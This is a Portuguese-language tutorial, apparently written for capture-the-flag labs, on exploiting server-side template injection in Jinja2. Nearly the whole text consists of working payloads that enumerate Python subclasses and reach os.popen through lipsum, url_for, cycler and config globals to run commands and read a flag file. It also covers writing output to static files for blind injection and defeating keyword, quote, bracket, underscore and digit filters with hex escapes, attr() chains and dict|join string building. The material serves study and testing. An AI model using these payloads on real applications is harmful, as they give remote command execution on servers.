Este artigo explora as vulnerabilidades de Server-Side Template Injection (SSTI) utilizando o Jinja2, um popular motor de templates para Python, e as técnicas para contornar filtros de segurança.
Ambiente de Teste e Exploração Inicial
Para iniciar a exploração, é necessário encontrar classes e métodos acessíveis. Um método comum é iterar sobre as subclasses de tipos básicos para descobrir funcionalidades úteis.
# Enumerando subclasses para encontrar módulos relevantes (ex: 'os')
contador = 0
for item in [].__class__.__base__.__subclasses__():
try:
# Verifica se o módulo 'os' está acessível através do inicializador
if 'os' in item.__init__.__globals__:
print(contador, item)
contador += 1
except:
contador += 1
continue
Uma alternativa para listar classes disponíveis é iterar por um intervalo numérico e exibir cada classe encontrada.
{# Listando classes disponíveis iterando sobre um intervalo #}
{% for i in range(300) %}
{{ i }} - {{ ''.__class__.__mro__[1].__subclasses__()[i] }}<br></br>
{% endfor %}
{# Equivalente usando print para melhor visualização em alguns ambientes #}
{%for i in range(300)%}{%print(i)%}-{%print(''.__class__.__mro__[1].__subclasses__()[i])%}<br></br>{%endfor%}
Nível 1: Acesso a Objetos e Configurações
Um teste simples como {{7*7}} pode confirmar a execução de código Python. O objetivo é localizar a classe <class 'object'> e, a partir dela, acessar outras classes.
{# Acessando subclasses através de diferentes caminhos de MRO e bases #}
{{''.__class__.__bases__[0].__subclasses__()}}
{{[].__class__.__bases__[0].__subclasses__()}}
{{().__class__.__bases__.__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{().__class__.__mro__[1].__subclasses__()}}
{# Acessando configurações do framework (ex: Flask) #}
{{config.items()}}
{{config}}
Identificando a classe os._wrap_close (geralmente no índice 157) e acessando seus globais, podemos obter o módulo sys e, subsequentemente, o módulo os para executar comandos.
{# Acessando a classe os._wrap_close #}
{{''.__class__.__mro__[1].__subclasses__()[157]}}
{# Executando um comando para ler um arquivo de flag #}
{{''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['sys'].modules['os'].popen('cat flag').read()}}
{# Executando um comando 'ls' usando uma abordagem diferente #}
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
Técnicas de Filtragem e Contorno
Muitas aplicações implementma filtros para prevenir a exploração de SSTI. Abaixo estão exemplos de como contornar algumas dessas restrições.
Filtragem de Palavras-Chave
Filtros comuns podem bloquear palavras como print, os, popen, sys, modules, read, etc.
{# Tentativa de executar comando ignorando filtros básicos #}
{%print(''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['popen']('cat flag').read())%}
{# Alternativa usando sys.modules #}
{%print(''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['sys'].modules["os"].popen('ls').read())%}
{# Usando a função get_flashed_messages como ponto de entrada #}
{%print(get_flashed_messages.__globals__.sys.modules['os'].popen('ls').read())%}
Bypass de Codificação
A codificação de strings (como hexadecimal ou Unicode) pode ser usada para ofuscar palavras-chave antes que o parser do Python as interprete.
{# Usando codificação hexadecimal para contornar filtros #}
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os']['popen']('cat flag').read()}}
Filtragem de Aspas e Parâmetros
Quando as aspas ou a forma como os parâmetros são passados (GET/POST) são filtrados, podemos usar outras fontes de entrada como request.args, request.values, request.cookies, request.headers, request.form, request.data ou request.json.
Exemplo de requisição HTTP:
http://192.168.777.777:4999/level/5?zxc=cat flag
Payload POST:
code={{lipsum.__globals__.os.popen(request.args.zxc).read()}}
Se as aspas diretas forem bloqueadas, outras formas de acessar parâmetros podem ser necessárias.
Fontes de dados em requisições:
request.args.x1: Parâmetros GETrequest.values.x1: Todos os parâmetros (GET e POST)request.cookies: Cookiesrequest.headers: Cabeçalhos HTTPrequest.form.x1: Parâmetros POST (application/x-www-form-urlencoded ou multipart/form-data)request.data: Corpo POST bruto (Content-Type: a/b)request.json: Corpo POST JSON (Content-Type: application/json)
Filtragem de Colchetes ([])
Quando colchetes são bloqueados, o acesso a atributos e itens de dicionário/lista pode ser feito usando o método attr() ou métodos como __getitem__.
{# Acessando 'os' e 'popen' sem usar colchetes #}
{{lipsum.__globals__.os.popen('cat flag').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{get_flashed_messages.__globals__.os.popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{# Alternativa para acessar dicionários #}
{{lipsum.__globals__['os'].popen('ls').read()}}
Métodos alternativos para acessar chaves/índices:
dict['__builtins__']pode ser substituído pordict.get('__builtins__'),dict.__getitem__('__builtins__'), etc.list[0]pode ser substituído porlist.__getitem__(0),list.pop(0), etc.
Exemplo de substituição usando get:
{{lipsum.__globals__.get('os').popen('ls').read()}}
Blind SSTI
Em cenários onde a saída do comando não é exibida diretamente (Blind SSTI), é necessário usar técnicas para "escrever" a saída em um local acessível, como um arquivo estático.
Exemplo de escrita em arquivo estático:
{{lipsum.__globals__['os'].popen('echo "zxc" > static/1.txt').read()}}
{{lipsum.__globals__['os'].popen('echo `cat flag` > static/1.txt').read()}}
{# Acessando o arquivo escrito #}
http://192.168.777.777:4999/static/1.txt
A eficácia dessa técnica depende do conhecimento da estrutura de diretórios do ambiente e das permissões.
Filtragem de Pontuação e Caracteres Especiais
Filtros mais rigorosos podem proibir o uso de caracteres como ., [, ], ', ", etc. Nesses casos, métodos como attr() e __getitem__, combinados com a codificação de strings e a construção dinâmica de nomes de métodos/atributos, tornam-se essenciais.
{# Usando attr() e __getitem__ para acessar funcionalidades #}
{{lipsum['__globals__']['os']['popen']('cat flag')['read']}}
{{lipsum['__globals__']['__getitem__']('os')['popen']('cat flag')['read']}}
{# Listando classes sem colchetes #}
{% for i in range(300) %}{{i}}-{{''['__class__']['__mro__'][1]['__subclasses__']()[i]}}<br></br>{% endfor %}
{# Executando comando sem colchetes #}
{{''['__class__']['__mro__'][1]['__subclasses__']()[157]['__init__']['__globals__']['popen']('cat flag')['read']()}}
{# Abordagem totalmente com attr() #}
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(157)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat flag')|attr('read')()}}
Contornando Filtros de Palavras-Chave e Números
Quando palavras-chave como "class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr", e números são filtradas, a combinação de codificação hexadecimal e o uso de métodos como __getitem__ e popen (com nomes codificados) são necessários.
{# Usando codificação hexadecimal para nomes de métodos e atributos #}
{{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['os']['\x70\x6f\x70\x65\x6e']('cat flag')['read']()}}
Para contornar a filtragem de números, podemos usar operações como count ou construir strings dinamicamente.
Se request, ., \[\] e outros caracteres forem banidos, usamos filtros como |join para cnostruir strings e |attr() para acessar métodos.
{# Construindo nomes de métodos e atributos dinamicamente #}
{% set a=dict(__glo=a,bals__=a)|join %}
{% set b=dict(o=a,s=a)|join %}
{% set e=dict(__ge=a,titem__=a)|join %}
{% set c=dict(po=a,pen=a)|join %}
{% set cmd=dict(l=a,s=a)|join %}
{% set d=dict(re=a,ad=a)|join %}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
{# Exemplo mais complexo para 'cat flag' #}
{% set a=dict(__glo=a,bals__=a)|join %}
{% set b=dict(o=a,s=a)|join %}
{% set e=dict(__ge=a,titem__=a)|join %}
{% set c=dict(po=a,pen=a)|join %}
{% set pop=dict(pop=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set cat=dict(cat=a)|join %}
{% set cmd=(cat,space,dict(flag=a)|join)|join %}
{% set d=dict(re=a,ad=a)|join %}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
{# Acesso final usando attr e __getitem__ #}
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
Filtragem de caracteres muito restritiva (_, ., \, ', ", request, +, class, init, arg, config, app, self, [, ]):
Nesses cenários, a construção dinâmica de strings com set e o uso de attr tornam-se a principal estratégia.
{# Construção detalhada para contornar filtros extremos #}
{% set a=dict(__glo=a,bals__=a)|join %}
{% set b=dict(o=a,s=a)|join %}
{% set e=dict(__ge=a,titem__=a)|join %}
{% set c=dict(po=a,pen=a)|join %}
{% set pop=dict(pop=a)|join %}
{# Usando 'aaaaaaaaa' para gerar um número 9 e subsequentemente 18 #}
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}